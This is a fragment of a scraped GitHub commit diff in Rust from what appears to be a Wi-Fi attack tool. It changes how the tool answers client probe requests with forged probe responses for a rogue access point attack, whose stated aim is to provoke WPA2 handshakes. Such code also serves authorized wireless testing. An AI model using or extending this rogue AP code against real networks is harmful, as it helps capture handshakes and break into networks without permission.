You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
if station.timer_interact.elapsed().unwrap() < Duration::from_secs(3){
407
+
returnOk(());
408
+
}
409
+
392
410
ifletSome(ssid) = probe.station_info.ssid{
393
-
// In this case we have an SSID to send, which is good. If we have a target deck, and the SSID matches the SSID we have for that AP (in the target deck) then we send a response.
// Do we already have a rogue-M2 from this station (for this SSID)
439
+
if station.rogue_actions.get(&ssid).is_some_and(|f| *f){
440
+
returnOk(());
441
+
}
442
+
443
+
let frx = build_probe_response(
444
+
&probe.header.address_2,
445
+
&oxide.rogue_client,
446
+
&ssid,
447
+
oxide.counters.sequence3(),
448
+
oxide.current_channel.get_channel_number(),
449
+
);
450
+
write_packet(oxide.tx_socket.as_raw_fd(),&frx)?;
451
+
station.interactions += 1;
452
+
station.timer_interact = SystemTime::now();
453
+
oxide.status_log.add_message(StatusMessage::new(
454
+
MessageType::Info,
455
+
format!(
456
+
"Indirect Rogue AP Attack: {} ({})",
457
+
station.mac_address, ssid
458
+
),
459
+
));
460
+
}else{
461
+
// We don't want to nest this...
462
+
if !oxide.stargets.is_empty(){
463
+
// Pick a random SSID from our targets and respond.
464
+
let target = &oxide
465
+
.stargets
466
+
.choose(&mut rand::thread_rng())
467
+
.unwrap_or(returnOk(()));
468
+
428
469
let frx = build_probe_response(
429
470
&probe.header.address_2,
430
471
&oxide.rogue_client,
431
-
&ssid,
472
+
target,
432
473
oxide.counters.sequence3(),
433
474
oxide.current_channel.get_channel_number(),
434
475
);
435
476
write_packet(oxide.tx_socket.as_raw_fd(),&frx)?;
436
477
station.interactions += 1;
478
+
station.timer_interact = SystemTime::now();
437
479
oxide.status_log.add_message(StatusMessage::new(
438
480
MessageType::Info,
439
481
format!(
440
-
"Indirect Rogue AP Attack: {} ({})",
441
-
station.mac_address,ssid
482
+
"Anonymous Rogue AP Attempt: {} ({})",
483
+
station.mac_address,target
442
484
),
443
485
));
444
486
}
445
-
}else{
446
-
// We don't want to nest this...
447
-
if !oxide.targets.is_empty(){
448
-
// We have targets, iterate through our targets list and if we have an AP seen for the SSID we can send our own Probe Response... maybe we can force a WPA2 authentication.
0 commit comments